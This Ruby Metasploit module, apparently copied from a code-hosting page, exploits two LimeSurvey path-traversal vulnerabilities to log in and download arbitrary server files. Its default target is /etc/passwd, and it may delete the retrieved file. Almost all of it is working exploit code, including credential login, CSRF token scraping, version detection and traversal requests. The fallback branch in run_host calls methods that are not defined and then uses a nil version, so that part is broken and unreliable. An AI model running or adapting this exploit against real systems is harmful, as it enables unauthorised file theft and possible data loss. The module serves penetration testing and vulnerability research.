208 lines
7.6 KiB
Ruby
208 lines
7.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'LimeSurvey Zip Path Traversals',
|
|
'Description' => %q{
|
|
This module exploits an authenticated path traversal vulnerability found in LimeSurvey
|
|
versions between 4.0 and 4.1.11 with CVE-2020-11455 or <= 3.15.9 with CVE-2019-9960,
|
|
inclusive.
|
|
In CVE-2020-11455 the getZipFile function within the filemanager functionality
|
|
allows for arbitrary file download. The file retrieved may be deleted after viewing,
|
|
which was confirmed in testing.
|
|
In CVE-2019-9960 the szip function within the downloadZip functionality allows
|
|
for arbitrary file download.
|
|
Verified against 4.1.11-200316, 3.15.0-181008, 3.9.0-180604, 3.6.0-180328,
|
|
3.0.0-171222, and 2.70.0-170921.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'h00die', # msf module
|
|
'Matthew Aberegg', # edb/discovery cve 2020
|
|
'Michael Burkey', # edb/discovery cve 2020
|
|
'Federico Fernandez', # cve 2019
|
|
'Alejandro Parodi' # credited in cve 2019 writeup
|
|
],
|
|
'References' => [
|
|
# CVE-2020-11455
|
|
['EDB', '48297'], # CVE-2020-11455
|
|
['CVE', '2020-11455'],
|
|
['URL', 'https://github.com/LimeSurvey/LimeSurvey/commit/daf50ebb16574badfb7ae0b8526ddc5871378f1b'],
|
|
# CVE-2019-9960
|
|
['CVE', '2019-9960'],
|
|
['URL', 'https://www.secsignal.org/en/news/cve-2019-9960-arbitrary-file-download-in-limesurvey/'],
|
|
['URL', 'https://github.com/LimeSurvey/LimeSurvey/commit/1ed10d3c423187712b8f6a8cb2bc9d5cc3b2deb8']
|
|
],
|
|
'DisclosureDate' => '2020-04-02',
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'SideEffects' => [IOC_IN_LOGS],
|
|
'Reliability' => []
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 7 ]),
|
|
OptString.new('TARGETURI', [true, 'The base path to the LimeSurvey installation', '/']),
|
|
OptString.new('FILE', [true, 'The file to retrieve', '/etc/passwd']),
|
|
OptString.new('USERNAME', [true, 'LimeSurvey Username', 'admin']),
|
|
OptString.new('PASSWORD', [true, 'LimeSurvey Password', 'password'])
|
|
]
|
|
)
|
|
end
|
|
|
|
def uri
|
|
target_uri.path
|
|
end
|
|
|
|
def cve_2020_11455(cookie, ip)
|
|
vprint_status('Attempting to retrieve file')
|
|
print_error 'This method will possibly delete the file retrieved!!!'
|
|
traversal = '../' * datastore['DEPTH']
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(uri, 'index.php', 'admin', 'filemanager', 'sa', 'getZipFile'),
|
|
'cookie' => cookie,
|
|
'vars_get' => {
|
|
'path' => "#{traversal}#{datastore['FILE']}"
|
|
}
|
|
})
|
|
if res && res.code == 200 && !res.body.empty?
|
|
loot = store_loot('', 'text/plain', ip, res.body, datastore['FILE'], 'LimeSurvey Path Traversal')
|
|
print_good("File stored to: #{loot}")
|
|
else
|
|
print_bad('File not found or server not vulnerable')
|
|
end
|
|
end
|
|
|
|
def cve_2019_9960_version_3(cookie, ip)
|
|
vprint_status('Attempting to retrieve file')
|
|
traversal = '../' * datastore['DEPTH']
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(uri, 'index.php', 'admin', 'export', 'sa', 'downloadZip'),
|
|
'cookie' => cookie,
|
|
'vars_get' => {
|
|
'sZip' => "#{traversal}#{datastore['FILE']}"
|
|
}
|
|
})
|
|
if res && res.code == 200 && !res.body.empty?
|
|
loot = store_loot('', 'text/plain', ip, res.body, datastore['FILE'], 'LimeSurvey Path Traversal')
|
|
print_good("File stored to: #{loot}")
|
|
else
|
|
print_bad('File not found or server not vulnerable')
|
|
end
|
|
end
|
|
|
|
# untested because I couldn't find when this applies. It is pre 2.7 definitely, but unsure when.
|
|
# this URL scheme was noted in the secsignal write-up
|
|
def cve_2019_9960_pre25(cookie, ip)
|
|
vprint_status('Attempting to retrieve file')
|
|
traversal = '../' * datastore['DEPTH']
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(uri, 'index.php'),
|
|
'cookie' => cookie,
|
|
'vars_get' => {
|
|
'sZip' => "#{traversal}#{datastore['FILE']}",
|
|
'r' => 'admin/export/sa/downloadZip'
|
|
}
|
|
})
|
|
if res && res.code == 200 && !res.body.empty?
|
|
loot = store_loot('', 'text/plain', ip, res.body, datastore['FILE'], 'LimeSurvey Path Traversal')
|
|
print_good("File stored to: #{loot}")
|
|
else
|
|
print_bad('File not found or server not vulnerable')
|
|
end
|
|
end
|
|
|
|
def login
|
|
# get csrf
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(uri, 'index.php', 'admin', 'authentication', 'sa', 'login')
|
|
})
|
|
cookie = res.get_cookies
|
|
fail_with(Failure::NoAccess, 'No response from server') unless res
|
|
|
|
# this regex is version 4+ compliant, will fail on earlier versions which aren't vulnerable anyways.
|
|
/"csrfTokenName":"(?<csrf_name>\w+)"/i =~ res.body
|
|
/"csrfToken":"(?<csrf_value>[\w=-]+)"/i =~ res.body
|
|
csrf_name = 'YII_CSRF_TOKEN' if csrf_name.blank? # default value
|
|
fail_with(Failure::NoAccess, 'Unable to get CSRF values, check URI and server parameters.') if csrf_value.blank?
|
|
vprint_status("CSRF: #{csrf_name} => #{csrf_value}")
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(uri, 'index.php', 'admin', 'authentication', 'sa', 'login'),
|
|
'cookie' => cookie,
|
|
'vars_post' => {
|
|
csrf_name => csrf_value,
|
|
'authMethod' => 'Authdb',
|
|
'user' => datastore['USERNAME'],
|
|
'password' => datastore['PASSWORD'],
|
|
'loginlang' => 'default',
|
|
'action' => 'login',
|
|
'width' => '100',
|
|
'login_submit' => 'login'
|
|
}
|
|
})
|
|
|
|
if res && res.code == 302 && res.headers['Location'].include?('login') # good login goes to location admin/index not admin/authentication/sa/login
|
|
fail_with(Failure::NoAccess, 'No response from server')
|
|
end
|
|
vprint_good('Login Successful')
|
|
res.get_cookies
|
|
end
|
|
|
|
def determine_version(cookie)
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(uri, 'index.php', 'admin', 'index'),
|
|
'cookie' => cookie
|
|
})
|
|
fail_with(Failure::NoAccess, 'No response from server') unless res
|
|
/Version\s+(?<version>\d\.\d{1,2}\.\d{1,2})/ =~ res.body
|
|
return nil unless version
|
|
|
|
Rex::Version.new(version)
|
|
end
|
|
|
|
def run_host(ip)
|
|
cookie = login
|
|
version = determine_version cookie
|
|
if version.nil?
|
|
# try them all!!!
|
|
print_status('Unable to determine version, trying all exploits')
|
|
cve_2020_11455 cookie, ip
|
|
cve_2019_9960_3_15_9 cookie, ip
|
|
cve_2019_9960_pre3_15_9 cookie, ip
|
|
end
|
|
vprint_status "Version Detected: #{version.version}"
|
|
if version.between?(Rex::Version.new('4.0'), Rex::Version.new('4.1.11'))
|
|
cve_2020_11455 cookie, ip
|
|
elsif version.between?(Rex::Version.new('2.50.0'), Rex::Version.new('3.15.9'))
|
|
cve_2019_9960_version_3 cookie, ip
|
|
# 2.50 is when LimeSurvey started doing almost daily releases. This version was
|
|
# picked arbitrarily as I can't seem to find a lower bounds on when this other
|
|
# method may be needed.
|
|
elsif version < Rex::Version.new('2.50.0')
|
|
cve_2019_9960_pre25 cookie, ip
|
|
else
|
|
print_bad "No exploit for version #{version.version}"
|
|
end
|
|
end
|
|
end
|